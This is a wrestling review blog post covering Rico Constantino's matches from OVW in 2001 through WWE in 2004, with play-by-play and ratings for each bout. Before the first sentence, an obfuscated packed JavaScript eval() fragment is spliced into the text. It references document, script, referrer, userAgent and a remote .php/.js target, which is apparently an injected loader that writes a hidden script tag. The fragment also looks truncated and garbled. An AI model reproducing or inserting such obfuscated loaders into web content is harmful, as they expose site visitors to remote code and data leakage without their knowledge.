After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fekhe|var|u0026u|referrer|fktdi||js|php'.split('|'),0,{})) just a handful of matches on the independent circuit, Rico was signed to WWF and went to OVW. We’ll start at Christmas Chaos 2001, held in January of that year due to the original show being postponed due to snow. Keep in mind that this is different from the Rico you’re familiar with. Here he’s an athletic freak that can wrestle with anyone and totally serious.

Flash/Trailer Park Trash vs. Rico Constantino/Mr. Black

This is hardcore. Flash Flanagan is a guy that was supposed to be one of the breakout stars of OVW but a bad injury kept him off the WWF roster just after he was going to be called up. Rico made it of course but is freshly heel here. Black is a big security guard and Trailer Park Trash is a guy I have no idea about. Constantino and Black are part of Bolin Services, the top heel stable in OVW. Oh and Black is Hardcore Champion.

Apparently Rico isn’t in Bolin Services yet but if Bolin can get him the OVW Title he’ll join the team. Cornette: “Bolin is the kind of a guy that if he tells you the sun is coming up tomorrow you better go buy a flashlight. He’s the second most dishonest person I know after that promoter in Philadelphia.” There is some real bad blood there which is 100% legit.

Flash and Trash (just a big guy in jeans and a shirt) bring the weapons. Rico and Black bust out garbage can lids which means they take them to the head. Flash accidentally hurt Rico about a year ago to start their feud. This is Trash’s return after about a four month absence. I think you have to be in the ring to get a fall but I’m not sure.

It’s really hard to tell who is who here. Rico has long hair here so you can’t really tell which guy he is. Trash pulls out a bowling ball and it collides with Black’s balls. Flash sets up a table on the floor and Rico goes onto it. Springboard spinning legdrop half kills Rico but Flash is down too. Trash doesn’t look like much of a technician to put it mildly.

Trash gets a door from somewhere (Perry Saturn’s factory maybe?) and lays it between the ring and the railing like a bridge. He wants to suplex Black through it but of course gets shoved through it himself. Flash and Rico are back up and Flash misses a big moonsault. We clip it a bit to see Trash getting hanged by Black. Rico has a broom and everyone is down for the most part.

Black gets a suplex to Flash and we bring in frying pans and tires. Rico puts the tire around Trash’s neck and superkicks the tire. That was different. We throw in a toilet seat and a mailbox to really make this out there. More clipping as Flash takes a Bossman Slam from Black.

The beating has been going on for a good while now. I guess morale hasn’t improved enough yet. Black goes for a top rope splash but Trash makes the stop and slams him down. We hit ten minutes and Flash hits what looks like a middle rope neckbreaker/Blockbuster on Black onto a chair to end this, again very abruptly.

Rating: C-. This was a long match, running over ten minutes. I’m not sure if a hardcore tag match was the best choice to do that with but apparently Trash is a big fan favorite here so they’re giving them what they want in that sense. Pretty dull match and like I said another abrupt ending which came out of nowhere.

Here’s a match from late March/early April 2001 with Rico as OVW Champion.

Rico Constantino vs. Flash Flanagan

Rico is OVW Champion and Flash is Hardcore Champion but this is non-title. A clothesline puts Rico on the floor and Flash rams his head into Rico’s manager Kenny Bolin. Back in and Rico kicks him in the face to take over but Flash superkicks Rico down. A spinning springboard legdrop gets two as Cornette is freaking out on commentary. Rico comes back with a side slam and more kicks in the corner. They clothesline each other down and Bolin gets on the apron for a distraction. Rico gets Bolin’s briefcase but Flash kicks it into his face for the big upset.

Rating: C-. The match didn’t have time to be anything special but it wasn’t supposed to be. The win kept Flash in an upcoming triple threat (where he won the title) so it actually had some storyline stuff behind it. Rico was a solid heel at this point and Bolin was still the top heel manager of the promotion.

We’re going to look at a series of dark matches now, starting on April 15, 2001.

Rico Constantino vs. Randy Orton

Orton doesn’t mean anything at this point either. They trade shots in the corner to start and Orton beals him across the ring. A backflip dropkick gets two on Rico but he avoids a charge in the corner for two of his own. More stomping ensues in the corner and Rico suplexes him down for another near fall. Rico stomps even more and hits a nice spinning kick to the face. He takes too long going up but knocks Orton off the top. Orton avoids a moonsault and hammers away before nailing a wheelbarrow suplex for the pin.

Rating: D. Orton looked far more polished here than Rico, which isn’t what I was expecting at this point. Rico didn’t look horrible but he didn’t have anything left to do after the first minute or two of the match. Orton carried most of the match here and did a better job at playing to the crowd on top of that. Nothing to see here but Orton was clearly going to be a big star.

Another dark match from December 4, 2001.

Rico Constantino vs. Brock Lesnar

Brock drives him into the corner to start and puts Rico on the turnbuckle because he can. Rico avoids a charge and kicks away but Brock misses him up into a gorilla press. An elbow to the jaw drops Rico again and Brock busts out a dropkick just because he can. Rico nails a spinwheel kick but Brock shrugs it off and plants him with a powerslam for the pin.

Rating: C-. Oh come on you knew Lesnar wasn’t going to lose here. Rico looked better out there, though the match was significantly shorter. Brock continues to be awesome though and there’s no way you can top a genetic freak like him. The match looked far tighter than the Orton match though and that’s a good sign.

One more dark match from January 22, 2002.

AJ Styles vs. Rico Constantino

AJ spins out of a wristlock to start before backflipping out of a German suplex. A knee to the back puts Rico in control and a kick to the head gets two. We hit the chinlock on Styles before a spinwheel kick gets two more on AJ. Rico misses a great looking moonsault and walks into a brainbuster for two. A spinning cross body off the top mostly hits Rico’s legs but AJ backdrops him to the floor. AJ follows him out with a shooting star dive to really wake the crowd up. Back in and AJ gets knocked throat first onto the top rope, setting up a kind of northern lights suplex for the pin.

Rating: C. This was actually really entertaining stuff and was enough to get AJ a developmental deal with the company. He didn’t want to move to Louisville though so it was off to TNA instead. Good match though and that springboard shooting star looked awesome. Rico was a great talent but the stylist gimmick killed him.

Rico would debut as Billy and Chuck’s stylist because that’s what you do with an atheltic guy like him. Here’s one of his first matches from Judgment Day 2002.

Tag Titles: Rikishi/??? vs. Billy/Chuck

The partner for Rikishi will be announced in a bit. To the shock of no one, the partner is Billy and Chuck’s manager/stylist Rico. Billy vs. Rikishi to start us off here. DDT does nothing of course and Rikishi takes over. This is when there was only one set of titles at the time. Chuck comes in and hammers away which gets him nowhere for the most part. Suplex gets two.

The idea here is that Rico will lay down for his buddies so they can keep the titles so Rikishi is more or less in a handicap match. Belly to belly by Rikishi gets two. Billy comes in and gets beaten up by Rikishi too. Rico is just chilling on the apron at the moment. Dropkick by Chuck puts Rikishi down. Rico tries to help Chuck and accidentally drops Chuck, giving him and Rikishi the titles.

Rating: D. Was there any point to this other than to give the crowd a breather? No? I didn’t think so. Moving on here as there’s nothing to say here. The title reign meant nothing if you didn’t guess. As usual this would be the idea of the wacky tag team partners who of course are able to win the titles with relative ease.

Here’s a slightly better opponent. From Raw on September 16, 2002.

Ric Flair vs. Rico

Flair quickly takes him down with ease and drops a knee to the head. A few headlock takeovers keep Rico in trouble but he comes back with some fast kicks. Rico kicks him in the head for a Flair Flop but Ric stops him with an elbow to the jaw. Flair doesn’t let Rico bring a chair in and takes him over with a vertical suplex for two. Ric goes over and kicks the chair out of the corner, allowing Rico to kick him in the face for the (mostly) clean pin. Flair’s hand seemed to be touching the ropes but it wasn’t mentioned.

Rating: C-. That’s quite the rub for Rico as the pin was as clean as it was going to be for something like this. Flair was destroying him for the most part here with basic stuff which is something I enjoy seeing. Yeah a lot of the time it’s better to see something flashy or intricate, but it’s nice to see basic leverage moves every now and then.

Here’s another fairly big name opponent, from Raw on October 14, 2002.

Jeff Hardy vs. Rico

Rico throws a shirt at him in the corner and hammers away but Jeff scores with a Cactus Clothesline to put both of them on the floor. Jeff runs the barricade for another clothesline to drop Rico and they head back inside. Back in and Rico fires off kicks in the corner before putting on a bodyscissors. Jeff comes right back with a Whisper in the Wind for two, followed by the Twist and Swanton for the pin.

Rating: D+. This didn’t have time to go anywhere and Jeff didn’t do much besides high spots. To be fair that’s the case with almost any match like this as you have to get your stuff in and then do the finish. What else can you do in a match that only lasts a few minutes? Jeff would be gone a few months later.

Rico would be in a six man tag at Survivor Series 2002.

Dudley Boys/Jeff Hardy vs. 3 Minute Warning/Rico

This is an elimination tables match. Oh and that’s Bubba and Spike, not D-Von. Spike and Bubba got put through the same table on Raw Monday to set this up. The Dudleys and Jeff clear the ring to start and Spike is thrown into the arms of the Samoans. It’s Bubba vs. Rico in the ring at the moment, because putting Spike and Jeff against Umaga and Rosey is a great idea right? Bubba chops Rico HARD in the corner before things settle down.

What’s Up hits Jamal and we get to the tagging section of the match before everything breaks down again. Bubba tells Jeff to get the tables but Rosey runs over Bubba after Bubba sets up a table in the corner. A BIG backdrop puts Jeff on the floor and Rosey rams Spike’s head into a table. Rosey misses a charge and drives himself through a table in the corner but that doesn’t count because it wasn’t someone else putting him through.

Jeff tries a top rope dive at Rosey but literally bounces off. Rico brings in another table and gets caught in a Dudley Dog, but 3 Minute Warning catches him in a double powerbomb to put Spike through the table instead. Jeff and Bubba get slammed down but Bubba knocks Rosey off the top and Jeff sends Rico flying into a cameraman. Bubba pounds away but Rico hits a spinwheel kick to take his head off. Rico could go in the ring make no mistake.

Rosey and Jeff go out into the crowd and there’s a table out there with them. Jeff is put on said table as Bubba gets kicked in the face by Rico. Jamal misses a splash and crushes Rico, allowing Bubba to Bubba Bomb Jamal and go to save Jeff. With Bubba’s help, Jeff goes up to the top of an entrance and hits a BIG Swanton through Rosey through the table to make it 2-2.

Back in the ring Jamal has Bubba on a table ready for a Rico moonsault, but he looks hesitant to launch. He looks over his shoulder, shouts “C’MON JEFF!” before staggering. THEN Jeff shakes the ropes and Rico crotches himself. Not the best response but that’s on Jeff more than Rico. Bubba tries a belly to back superplex through the table but Jamal moves it away. Jeff hits Whisper in the Wind to Jamal and follows it with a dropkick.

Hardy goes to the floor to get another table which he throws at Jamal. Jeff tries to run the railing but Jamal throws the table at Jeff, who goes flying through it. That doesn’t count which I can kind of agree with. Jamal puts Jeff on another table and hits a HUGE splash off the top to eliminate Jeff. That looks awesome. Bubba beats on Rico in the ring but Jamal saves his sideburned buddy. Jamal goes up to try a top rope rana (I guess) on Bubba, only to get caught in a HUGE powerbomb through the table to get us down to one on one.

It’s Rico vs. Bubba with the former pounding away and pulling in another table. Rosey comes back in but Bubba pounds away on him too. Now Jamal is in there too and it’s D-VON to the rescue! He’s on Smackdown at this point so this is a big deal. 3D puts Rico through the table to end this.

Rating: B-. That’s likely high but this was what you want to open a show. It helps a lot that this was a fifteen minute match instead of like six minutes like they are on Raw. This was fun and the pop for the reunion of the Dudleys (which would be permanent) was a feel good moment. Good stuff here and a good choice to open things up, especially in New York City.

Time for another handicap match! From Raw on January 6, 2003.

3 Minute Warning/Rico/Batista vs. Dudley Boys

Flair is with Batista too so it’s basically 5-2. Jamal gets backdropped to the floor as Batista hangs out on the floor. I wonder if D-Von and Batista’s past will be mentioned. There’s a fast 3D to Rico but the stupid Dudleys don’t cover him, allowing Batista to come in and clean house. Bubba gets sent to the floor and Chief Morely gets in some shots of his own. Everyone not named Batista beats on Bubba on the floor and there’s a spinebuster to D-Von.

Bischoff and Morely come into the ring and demand that the referee counts D-Von, but Batista pulls him up at two. Bubba gets back in but walks into a suplex from Rosey. Now Flair gets in and puts Bubba in the Figure Four as Jamal hits a top rope splash for good measure. D-Von takes a Samoan Drop and the Batista Bomb finally ends this.

Rating: D+. This was an angle which is fine, but it doesn’t really exactly make for an interesting segment. Batista was just midcard muscle with Flair as a manager at this point, but Evolution was coming soon. The Bischoff regime got old in a hurry and here he came off as just another corrupt boss. Not much here but it was a good beating.

One more singles match from Heat on February 9, 2003.

Bryan Danielson vs. Rico

Danielson quickly takes him down and puts on a kind of dragon sleeper. Rico blocks an O’Connor Roll but gets caught by a dropkick. Some kicks drop Bryan for two and Rico puts on a weak Gory Stretch. Bryan flips out for two but gets kicked in the face for the same. After an arm hold goes nowhere, Danielson enziguris him down but can’t follow up. Some European uppercuts put Rico down and a snap suplex gets two for Danielson. Back up and Bryan hits the ropes but charges into the spinning kick to the face for the pin.

Rating: C-. I love seeing guys like Bryan when he means nothing. He got to showcase some talents here though and it was clear that he was going to be a big deal somewhere down the road. Much to my surprise this wasn’t a glorified squash with Danielson actually controlling about half of the match.

Back to the handicaps on Raw, February 17, 2003.

Spike Dudley vs. 3 Minute Warning/Rico

There’s nothing to say here. The three dominate Spike for about three and a half minutes and Rico pins Spike after a top rope splash from Jamal. There was nothing to talk about in between.

Rico did have some singles matches, including this one at Insurrextion 2003.

Goldust vs. Rico

And on Pay Per View too! Hebner is in there, you know the chant. Rico keeps hiding from Goldust as we have to stall in this match of all things. Rico really was underrated in the ring as his gimmick always gets looked down on which isn’t fair to him. He definitely wasn’t that bad in the ring and was clearly always working hard out there which is all I can ask for.

Naturally this is a rather boring match but it’s not entirely fair to blame that on the wrestlers here. These two had no business being out there as long as they’re being given so they can only do so much in there. We talk about Sean Connery and James Bond to fill in time. Picture perfect moonsault by Rico misses. That was freaking pretty looking. Bulldog gets two for Goldust.

Shattered Dreams is blocked and Goldust goes insane, hitting all kinds of stuff on Rico. Ok so mainly nothing more than punches which apparently are the results of his mental issue. I never liked that angle. Not due to what it was about but because it never really made sense. And there’s a powerslam out of nowhere (Ross’ description) to end it. Oh Goldust won.

Rating: D+. That’s higher than this deserves, but the problem here is that there was FAR too much time given to this match. This got eleven minutes and to their credit it never really got boring. Like I said, Rico was a guy that would always work in the ring which is something you have to give him points for. They were trying out there but this just had no business going this long.

From Raw, September 8, 2003.

Lance Storm vs. Rico

If nothing else we get to look at Jackie Gayda in a barely there outfit. The idea here is that Storm is boring and trying to find a personality. Rico starts the boring chant before the match so Lance punches him down. Goldust in turn starts a Rico Sucks chant and we’re ready to go. A quick suplex gets two for Lance but Rico comes back with a kick to the face and a clothesline before ripping at Storm’s face. Off to a chinlock for a bit until Storm fights up and starts firing off clotheslines. Jackie tries to get involved and gets kissed by Storm who quickly finishes Rico with a springboard missile dropkick. Short and not terrible here.

Rico would hook up with Charlie Haas to form another oddball tag team. Since this is the Ruthless Aggression Era, they would win the Smackdown Tag Team Titles soon after forming. Here’s a title defense from Judgment Day 2004.

Smackdown Tag Titles: Charlie Haas/Rico vs. Billy Gunn/Hardcore Holly

Charlie/Rico are the champions here and it’s another oddball team. Rico is fully embracing his gay side here and the only good thing is Jackie Gayda looking incredible. However, Billy Gunn and Hardcore Holly? Bart Gunn wasn’t available to reform the New Midnight Express? The challengers argue over who starts first so Rico slaps/grabs their rumps. Wouldn’t Billy be used to that?

Ok officially we start with Haas vs. Holly. After a brief feeling out process Holly grabs a headlock and it’s technician vs. power brawler to start us off. Off to Rico who slaps Haas’ chest to come in. Rico touches the redneck Holly and it’s off to the former groom as Rico does a cancan. Rico kisses his hand and puts it on Billy’s face to really mess with Gunn. We have butt slapping and some rodeo before Rico kicks Billy who falls onto his knees in front of Rico. Yep we’re in a comedy match.

Gunn finally gets ticked off and drills Rico, and by that I mean he punches him you sick freaks. Holly vs. Haas now with Holly getting a suplex for two. We hit the chinlock before Gunn comes in and hammers away. Rico: “Don’t you hurt my Charlie!” Holly’s kick between the legs (to the stomach) gets two. I missed a Rico likes hardcore joke in there somewhere.

Holly goes to the middle rope and does the jump into the boot of a guy in a move where the only reason I went to the top was to jump into the boot because a double clothesline is beyond my intelligence spot. Haas gets the tag (moderate temperature) and Rico cleans house (no French Maid outfit?) but gets caught in a Fameasser. There was a blind tag to Haas though so no cover. Alabama Slam is caught by a superkick from Rico lets Haas get a sunset flip on Holly to retain.

Rating: C-. Just a tag match based in comedy here. Nothing worth seeing at all as Jackie looking good was a regular occurrence. Not a bad match or anything mind you, but when the biggest star is Billy Gunn and he’s a glorified jobber who would be gone in six months, the same week as Rico actually. Nothing terrible, but just there for the most part.

We’ll wrap it up with one more six person tag from No Mercy 2004.

Dudley Boys/Dawn Marie vs. Rico/Charlie Hass/Miss Jackie

I miss Dawn. She was gorgeous. Jackie is no slouch either. Bubba and Haas start us off but D-Von jumps him to give them the early advantage. D-Von beats on Charlie but Dawn tags herself in to hit on Charlie. Jackie comes in and there goes Dawn’s top. Bubba pulls Jackie’s hair to give Dawn the advantage then comes in to kiss her. Bubba makes the mistake of closing his eyes though and gets a kiss from Rico instead.

Out to the floor and Bubba is about to be sick. It’s such a shame that Rico got this gimmick as he was AWESOME in OVW, regularly outworking guys like Orton and Cena. Bubba walks out and Rico gets a bunch of (fruit) rollups on D-Von. Bubba comes back to crotch Rico and then officially comes in to give Rico a heterosexual beating. Rico grabs a DDT out of nowhere and double tags bring in the other guys.

Haas cleans house and causes some heel miscommunication. A German takes down Bubba but Dawn distracts him, allowing D-Von to get in some offense. Rico makes a blind tag and hits a cross body for two as everything breaks down. The Dudleys load up What’s Up but Rico is WAY too excited for it, rubbing his crotch and begging D-Von to jump. D-Von won’t do it so we get a catfight instead. Charlie takes down D-Von and Rico finishes him with a moonsault.

Rating: C+. It was a comedy tag match, but every time I watch Rico I love him more and more. This guy was doing everything he could to get this dead end gimmick over and it worked. Rico cracked me up which was the whole point of the character. It’s a shame he wasn’t allowed to just be himself and awesome. Fun match.

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